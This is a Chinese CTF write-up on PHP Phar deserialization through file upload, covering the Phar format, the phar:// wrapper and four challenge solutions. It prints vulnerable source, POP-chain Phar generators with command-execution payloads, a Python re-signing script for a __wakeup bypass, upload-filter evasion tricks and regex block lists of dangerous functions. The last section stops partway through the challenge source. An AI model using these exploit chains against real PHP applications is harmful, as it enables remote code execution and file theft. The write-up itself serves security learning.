• 文件上传与Phar反序列化的摩擦

    提示：文章yu写完后，目录可以自动生成，如何生成可参考右边的帮助文档

    目录

    前言

    一、Phar是什么?

    二、Phar压缩文件的组成

    三、Phar伪协议

    四、SWPU 2018[SimplePHP]

     五、[NSSRound#4 SWPU]1zweb

    六、[HSCSEC2023]EASYPHY

    七、[SWPUCTF 2021 新生赛]babyunser

    总结

    前言

    提示：这里可以添加本文要记录的大概内容：

    最近在刷题的时候，连续做到了两道文件上传+Phar的反序列化题目，对以前不太熟悉的Phar熟悉了一点，做个记录。

    提示：以下是本篇文章正文内容，下面案例可供参考

    一、Phar是什么?

    官方文档的解析：phar扩展提供了一种将整个PHP应用程序放入一个名为“phar”（PHP Archive）的文件中的方法，以便于分发和安装。除了提供此服务之外，phar扩展还提供了一种文件格式抽象方法，用于通过PharData类创建和操作tar和zip文件，就像PDO为访问不同的数据库提供了统一的接口一样。与PDO不同，它不能在不同的数据库之间转换，Phar也可以用一行代码在tar、zip和Phar文件格式之间转换。Phar归档的最佳特点是将多个文件组合为一个文件的便捷方式。因此，phar归档提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行的方法，而无需将其解压缩到磁盘。此外，无论是在命令行上还是在web服务器上，PHP都可以像任何其他文件一样轻松地执行phar归档。Phar有点像PHP应用程序的拇指驱动器。

    简单来说，phar可以将多个PHP打包成一个phar的文件，可以看作就是一个压缩文件。

    二、Phar压缩文件的组成

    一般phar由四个部分组成：1、存根，2、描述内容的清单，3、文件内容，4、完整性签名，

    简单来说就是

    1、Stub：即Phar文件的文件头，默认是，xxx可以是自定义的任何字符，不定义默认就为

    2、a manifest describing the contents：phar包的各种属性信息，包括文件名、压缩文件的大小，序列化的文件、大小等等

            

    3、file contents：即要添加的压缩的文件的名

    4、Phar Signature format：即Phar文件的签名，确保文件的完整性，可以是20字节的SHA1，16字节的MD5，32字节的SHA256，64字节的512等

     更多的关于Phar的函数等，参考：Phar - PHP中文版 - API参考文档https://www.apiref.com/php-zh/book.phar.html

    三、Phar伪协议

    phar伪协议可以是PHP的一个解压缩包的函数，不管后缀，都会当做压缩包来解压，由于Phar内容清单中存储内容的形式是序列化的，当文件中有file_get_content()，file_exists()等函数的参数可控时候，使用phar://伪协议，会直接进行反序列化的操作将文件内容还原，即使不用unserialize()反序列化函数也能进行反序列化的操作，就有可能导致反序列化的漏洞。

    具体分析参考：Phar与Stream Wrapper造成PHP RCE的深入挖掘 - 先知社区 (aliyun.com)

    四、SWPU 2018[SimplePHP]

    1、进入题目：

            

    在查看文件处发现url中存在file参数，能够直接查看到index.php，class.php的源码，主要的源码如下： 

     file.php:

    2. header("content-type:text/html;charset=utf-8");
    3. include 'function.php';
    4. include 'class.php';
    5. ini_set('open_basedir','/var/www/html/'); #将可访问的目录限制在/var/www/html
    6. $file = $_GET["file"] ? $_GET['file'] : "";
    7. if(empty($file)) {
    8.     echo "
      There is no file to show!
      ";
    9. }
    10. $show = new Show();   #创建class的Show()类
    11. if(file_exists($file)) {
    12.     $show->source = $file;
    13.     $show->_show();        #调用Show类的_show()方法
    14. } else if (!empty($file)){
    15.     die('file doesn\'t exists.');
    16. }
    17. ?>

    Class.php:

    2. class C1e4r
    3. {
    4.     public $test;
    5.     public $str;
    6.     public function __construct($name)
    7.     {
    8.         $this->str = $name;
    9.     }
    10.     public function __destruct()
    11.     {
    12.         $this->test = $this->str;
    13.         echo $this->test;
    14.     }
    15. }
    16.  
    17. class Show
    18. {
    19.     public $source;
    20.     public $str;
    21.     public function __construct($file)
    22.     {
    23.         $this->source = $file;   
    24.         echo $this->source;
    25.     }
    26.     public function __toString()
    27.     {
    28.         $content = $this->str['str']->source;
    29.         return $content;
    30.     }
    31.     public function __set($key,$value)
    32.     {
    33.         $this->$key = $value;
    34.     }
    35.     public function _show()
    36.     {
    37.         if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
    38.             die('hacker!');
    39.         } else {
    40.             highlight_file($this->source);
    41.         }
    42.  
    43.     }
    44.     public function __wakeup()
    45.     {
    46.         if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
    47.             echo "hacker~";
    48.             $this->source = "index.php";
    49.         }
    50.     }
    51. }
    52. class Test
    53. {
    54.     public $file;
    55.     public $params;
    56.     public function __construct()
    57.     {
    58.         $this->params = array();
    59.     }
    60.     public function __get($key)
    61.     {
    62.         return $this->get($key);
    63.     }
    64.     public function get($key)
    65.     {
    66.         if(isset($this->params[$key])) {
    67.             $value = $this->params[$key];
    68.         } else {
    69.             $value = "index.php";
    70.         }
    71.         return $this->file_get($value);
    72.     }
    73.     public function file_get($value)
    74.     {
    75.         $text = base64_encode(file_get_contents($value));
    76.         return $text;
    77.     }
    78. }
    79. ?>

     Show类的_show()方法过滤了http、https等各种伪协议，但是没有过滤phar为协议，并且这里有一堆魔术函数，可以看看能否找到Phar伪协议的利用点，发现Test类的file_get()函数有通过file_get_contents直接获取到$value参数的内容。

    get()方法可以调用file_get()函数，get()方法被魔术方法__get()所调用，__get()主要用途在外部调用PHP的私有属性时，属性为了解决私有属性无法访问时调用的，那么当Test类的属性被设为private或者没有时，会触发这个方法。

    Show类中魔术方法__toString调用了一个$source属性，那么让str['str']为Test类即可触发__get方法，__toString方法的触发主要是当对象被当作字符串使用时。

     

    __destruct()析构函数，在类结束时会自动调用，函数中对$str赋值给$test，让$str为Show类，就相当于被当作字符串对待，即可触发__toString方法。

    Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()

    upload_file.php:

    2. //show_source(__FILE__);
    3. include "base.php";
    4. header("Content-type: text/html;charset=utf-8");
    5. error_reporting(0);
    6. function upload_file_do() {
    7.     global $_FILES;
    8.     $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    9.     //mkdir("upload",0777);
    10.     if(file_exists("upload/" . $filename)) {
    11.         unlink($filename);
    12.     }
    13.     move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    14.     echo '';
    15. }
    16. function upload_file() {
    17.     global $_FILES;
    18.     if(upload_file_check()) {
    19.         upload_file_do();
    20.     }
    21. }
    22. function upload_file_check() {
    23.     global $_FILES;
    24.     $allowed_types = array("gif","jpeg","jpg","png");
    25.     $temp = explode(".",$_FILES["file"]["name"]);
    26.     $extension = end($temp);
    27.     if(empty($extension)) {
    28.         //echo "
      请选择上传的文件:" . "
      ";
    29.     }
    30.     else{
    31.         if(in_array($extension,$allowed_types)) {
    32.             return true;
    33.         }
    34.         else {
    35.             echo '';
    36.             return false;
    37.         }
    38.     }
    39. }
    40. ?>

     对上传文件进行了gif、jpeg、jpg、png的后缀名检测，并且存储在upload中，上传的文件重命名为md5(文件名+IP地址).jpg的形式，因此可以通过Pop链生成phar归档文件，修改为gif或jpg等文件后缀，最后通过Phar://伪协议直接进行反序列化，使得C1e4r会获取到flag的内容，并echo出来。

    2. class C1e4r
    3. {
    4.     public $test;
    5.     public $str;
    6.  
    7. }
    8.  
    9. class Show
    10. {
    11.     public $source;
    12.     public $str;
    13. }
    14. class Test
    15. {
    16.     public $file;
    17.     public $params;
    18. }
    19.  
    20. $m=new C1e4r();
    21. $m->str=new Show();
    22. $m->str->str['str']=new Test();
    23. $m->str->str['str']->params["source"]="/var/www/html/f1ag.php";
    24. @unlink('test.phar');
    25.  
    26. $phar=new Phar('test.phar');
    27. $phar->startBuffering();
    28. $phar->setStub(''); #定义Phar的文件头
    29. $phar->setMetadata($m); #注入文件的内容数据
    30. $phar->addFromString("test.txt","test");#以字符串的形式添加文件进行归档
    31. $phar->stopBuffering();
    32.  
    33. #Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()
    34. ?>

     

    对echo出来的内容，进行base64解码，即得到flag，这里的md5重命名，好像怎么都不对，但是可以直接访问/upload/目录看到文件的名称。 

     五、[NSSRound#4 SWPU]1zweb

    进入题目：

    同样在查询文件处能够直接得到各php文件的源码 ，源码缺省部分打开F12就能看到被注释掉了，如下：

     index.php:

    2. class LoveNss{
    3.     public $ljt;
    4.     public $dky;
    5.     public $cmd;
    6.     public function __construct()
    7.     {
    8.         $this->ljt = "ljt";
    9.         $this->dky = "dky";
    10.         phpinfo();
    11.     }
    12. public function __destruct()
    13. {
    14.     if($this->ljt==="Misc"&&$this->dky==="Re")
    15.         eval($this->cmd);
    16. }
    17. public function __wakeup()
    18. {
    19.     $this->ljt="Re";
    20.     $this->dky="Misc";
    21. }
    22. }
    23. $file=$_POST['file'];
    24. if(isset($_POST['file']))
    25. {
    26.     if (preg_match("/flag/", $file))
    27.     {
    28.         die("nonono");
    29.     }
    30.     echo file_get_contents($file);
    31. }

    又是file_get_contents()函数获取到$file的内容，并且$file可控，并且__destruct()中存在eval()，可能可以进行命令执行，条件是$ljt和$dky的值是Misc和Re。

     upload.php:

    2. if ($_FILES["file"]["error"]-->0)
    3. {
    4.     echo "上传异常";
    5. }
    6. else{
    7.     $allowedExts = array("gif", "jpeg", "jpg", "png");
    8.     $temp = explode(".", $_FILES["file"]["name"]);
    9.     $extension = end($temp);
    10.     if (($_FILES["file"]["size"] && in_array($extension, $allowedExts)))
    11.     {
    12.         $content=file_get_contents($_FILES["file"]["tmp_name"]);
    13.         $pos = strpos($content, "__HALT_COMPILER();");
    14.         if(gettype($pos)==="integer")
    15.         {
    16.             echo "ltj一眼就发现了phar";
    17.         }
    18.         else
    19.         {
    20.             if (file_exists("./upload/" . $_FILES["file"]["name"]))
    21.             {
    22.                 echo $_FILES["file"]["name"] . " 文件已经存在";
    23.             }
    24.             else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
    25.                 fwrite($myfile, $content); fclose($myfile);
    26.                 echo "上传成功 ./upload/".$_FILES["file"]["name"];
    27.             }
    28.         }
    29.     }
    30.     else{ echo "dky不喜欢这个文件 .".$extension; } } ?>

    同样对上传的文件进行了gif、jpeg、jpg、png的后缀名检测， 并且在上传的文件内容中搜索__HALT_COMPILER();第一次出现的位置，搜索到即echo发现phar，否则如果文件不存在则上传成功。

    虽然对 __HALT_COMPILER()进行了检测，但是完全可以对生成的phar文件进行zip加密，__HALT_COMPILER()应该会消失，绕过了文件上传的检测的同时phar依旧会对zip文件进行解压缩，然后file_get_contents()处可以利用phar伪协议触发反序列化，进行eval()的命令执行。

    由于LoveNss类中存在__wakeup()魔术方法，当反序列化时会自动调用，导致__destruct方法无法进行eval，因此要绕过__wakeup方法，当序列化中的成员数大于实际成员数的时候，即可绕过。

    2. class LoveNss{
    3.     public $ljt="Misc";
    4.     public $dky="Re";
    5.     public $cmd="system('ls /');";
    6. }
    7.  
    8. $a = new LoveNss();
    9.  
    10. $phar = new Phar("phar.phar");
    11. $phar->startBuffering();
    12. $phar->setStub(""); //设置stub
    13. $phar->setMetadata($a); //自定义的meta-data
    14. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    15. //签名自动计算,默认是SHA1
    16. $phar->stopBuffering();

     生成phar文件，要绕过__wakeup方法，手动修改反序列化的数量。

    这里修改了反序列的数量后，绕过了__wakeup()方法，但是修改之后，签名确保完整性就不对了，所以还要重新进行签名，默认是SHA-1算法，那么就用SHA-1算法吧。

    1. from hashlib import sha1
    2.  
    3. file = open('phar.phar', 'rb').read()
    4.  
    5. data = file[:-28]#要签名的部分是文件头到metadata的数据。
    6.  
    7. final = file[-8:]
    8.  
    9. newfile = data+sha1(data).digest()+final
    10.  
    11. open('newpoc.phar', 'wb').write(newfile)

    生成了phar文件后，进行压缩看看是否能使__HALT_COMPILER()消失。

    确实不存在了，那么将zip文件修改了合适的后缀，上传应该就可以了吧，直接上传，使用phar://伪协议应该就可以了吧。

     

     这不对劲，Phar伪协议确实执行了解压，但是eval()函数似乎没有执行的命令内容呢，不符合预期的解，再重新试了几遍，发现结果都一样。想了一想，签名生成应该不会有问题，Phar能够进行解压缩，说明重新签名应该也不会有问题，有没有可能是zip压缩的问题，换一种压缩试试，换成gzip。

     继续进行同样的上传和phar://伪协议操作。

             

    这里显示要用SHA256加密进行签名，返回去将SHA1修改为SHA256，再进行gzip后，再进行相同的操作。

     

     通过gzip和SHA256签名得到flag，再想想，会不会本就要SHA256签名，发现进行SHA256签名后进行zip压缩 ，__HALT_COMPILER()不会消失，直接就上传不了，但是为什么ZIP加密不行依旧不懂，要是有师傅看到懂的，麻烦告诉一下。

    六、[HSCSEC2023]EASYPHY

    一道直接上传文件，然后可以查看文件目录名的题目，当时比赛的时候一直认为是传马getshell，结果绕了大半天，都没绕过去，结果它是一道传phar的文件上传进行反序列化的题目。 

     

    关键是这个acti0n参数，当时压根没注意，一直认为无法触发反序列化，可以通过这个参数读取到源码，并且提示flag.php

    upload.php源码：

    2. error_reporting(0);
    3. $dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
    4. if(!is_dir($dir)) {
    5.     if(!mkdir($dir, 0777, true)) {
    6.         echo error_get_last()['message'];
    7.         die('Failed to make the directory');
    8.     }
    9. }
    10. chdir($dir);
    11. if(isset($_POST['submit'])) {
    12.     $name = $_FILES['file']['name'];
    13.     $tmp_name = $_FILES['file']['tmp_name'];
    14.     $ans = exif_imagetype($tmp_name);
    15.     if($_FILES['file']['size'] >= 204800) {
    16.         die('filesize too big.');
    17.     }
    18.     if(!$name) {
    19.         die('filename can not be empty!');
    20.     }
    21.     if(preg_match('/(htaccess)|(user)|(\.\.)|(00)|(#)/i', $name) !== 0) {
    22.         die('Hacker!');
    23.     }
    24.     if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
    25.         $type = $_FILES['file']['type'];
    26.         if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
    27.             echo "
      Don't cheat me with Content-Type!
      "      ;
    28.         }
    29.         echo("
      You can't upload this kind of file!
      "      );
    30.         exit;
    31.     }
    32.     $content = file_get_contents($tmp_name);
    33.     if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
    34.         echo('');
    35.         exit;
    36.     }
    37.  
    38.     $extension = substr($name, strrpos($name, ".") + 1);
    39.     if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
    40.         die("
      You can't upload this kind of file!
      "      );
    41.     }
    42.     $upload_file = $name;
    43.     move_uploaded_file($tmp_name, $upload_file);
    44.  
    45.     if(file_exists($name)) {
    46.         echo "
      Your file $name has been uploaded.
      "      ;
    47.     } else {
    48.         echo '';
    49.     }
    50.     echo "
      点我去看上传的文件
      "      ;
    51.     #header("refresh:3;url=index.php");
    52. }

    通过exif_imagetype()函数检查传入文件的类型，如果检查的结果与传入的type不匹配则返回Don't cheat me，然后用正则匹配.htaccess和user，防止解析图片，传入文件的内容不能出现scandir()等函数，通过截取最后一个点的形式，取出后缀，只能上传png，jpg，重点是可以上传phar文件。

     view.php源码：

    2. #include_once "flag.php"; 
    3. error_reporting(0);
    4. class View
    5. {
    6.     public $dir;
    7.     private $cmd;
    8.  
    9.     function __construct()
    10.     {
    11.         $this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
    12.         $this->cmd = 'echo "
      Powered by: xxx
      ";'      ;
    13.         if(!is_dir($this->dir)) {
    14.             mkdir($this->dir, 0777, true);
    15.         }
    16.     }
    17.  
    18.     function get_file_list() {
    19.         $file = scandir('.');
    20.         return $file;
    21.     }
    22.  
    23.     function show_file_list() {
    24.         $file = $this->get_file_list();
    25.         for ($i = 2; $i < sizeof($file); $i++) {
    26.             echo "
      [".strval($i - 1)."]  $file[$i] 
      "      ;
    27.         }
    28.     }
    29.  
    30.     function show_img($file_name) {
    31.         $name = $file_name;
    32.         $width = getimagesize($name)[0];
    33.         $height = getimagesize($name)[1];
    34.         $times = $width / 200;
    35.         $width /= $times;
    36.         $height /= $times;
    37.         $template = "$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
    38.         echo $template;
    39.     }
    40.  
    41.     function delete_img($file_name) {
    42.         $name = $file_name;
    43.         if (file_exists($name)) {
    44.             @unlink($name);
    45.             if(!file_exists($name)) {
    46.                 echo "
      成功删除! 3s后跳转
      "      ;
    47.                 header("refresh:3;url=view.php");
    48.             } else {
    49.                 echo "Can not delete!";
    50.                 exit;
    51.             }
    52.         } else {
    53.             echo "
      找不到这个文件! 
      "      ;
    54.         }
    55.     }
    56.  
    57.     function __destruct() {
    58.         eval($this->cmd);
    59.     }
    60. }
    61.  
    62. $ins = new View();
    63. chdir($ins->dir);
    64. echo "
      当前目录为 " . $ins->dir . "
      "      ;
    65. $ins->show_file_list();
    66. if (isset($_POST['show'])) {
    67.     $file_name = $_POST['show'];
    68.     $ins->show_img($file_name);
    69. }
    70. if (isset($_POST['delete'])) {
    71.     $file_name = $_POST['delete'];
    72.     $ins->delete_img($file_name);
    73. }
    74. unset($ins);
    75. ?>

     创建了View类，通过接受show参数和delete参数进行展示和删除，可以看到delete_img()中通过file_exists()判断文件名是否存在,而file_exists()是可以读取phar文件触发反序列化的，再来看销毁函数__destruct()可以进行eval()，因此可以进行RCE，同时upload中没有过滤show_source，highlight_file等显示文件的函数，可以使用。

    2. error_reporting(0);
    3. class View
    4. {
    5.     public $dir;
    6.     private $cmd='highlight_file("flag.php");';
    7.  
    8. }
    9. $c=new View();
    10. $phar = new Phar("aiwin.phar"); //后缀名必须为phar
    11. $phar->startBuffering();
    12. $phar->setStub('GIF89a'.''); //设置stub
    13. $phar->setMetadata($c); //将自定义的meta-data存入manifest
    14. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    15. //签名自动计算
    16. $phar->stopBuffering();
    17.  
    18.

    七、[SWPUCTF 2021 新生赛]babyunser

    直接从文件查看器可以查看到源码：

    upload.php:

    2. aa的文件上传器
    4. "" enctype="multipart/form-data" method="post">
    5.     
      请选择要上传的文件：
    6.         class="input_file" type="file" name="upload_file"/>
    7.         <input class="button" type="submit" name="submit" value="上传"/>
    8. form>
    9. body>
    10. html>
    12. php
    13. if(isset($_POST['submit'])){
    14.     $upload_path="upload/".md5(time()).".txt";
    15.     $temp_file = $_FILES['upload_file']['tmp_name'];
    16.     if (move_uploaded_file($temp_file, $upload_path)) {
    17.         echo "文件路径：".$upload_path;
    18.     } else {
    19.         $msg = '上传失败';
    20.     }
    21. }

    read.php:

    2. "en">
    4.     "UTF-8">
    5.     "viewport" content="width=device-width, initial-scale=1.0">
    6.     "X-UA-Compatible" content="ie=edge">
    7.     aa的文件查看器
    8.     
    11. include('class.php');
    12. $a=new aa();
    13. ?>
    15. aa的文件查看器
    16. class="search_form" action="" method="post">
    17.     <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    18.     <input type="submit" value="查看" class="input_sub">
    19. form>
    20. body>
    21. html>
    22. php
    23. error_reporting(0);
    24. $filename=$_POST['file'];
    25. if(!isset($filename)){
    26.     die();
    27. }
    28. $file=new zz($filename);
    29. $contents=$file->getFile();
    30. ?>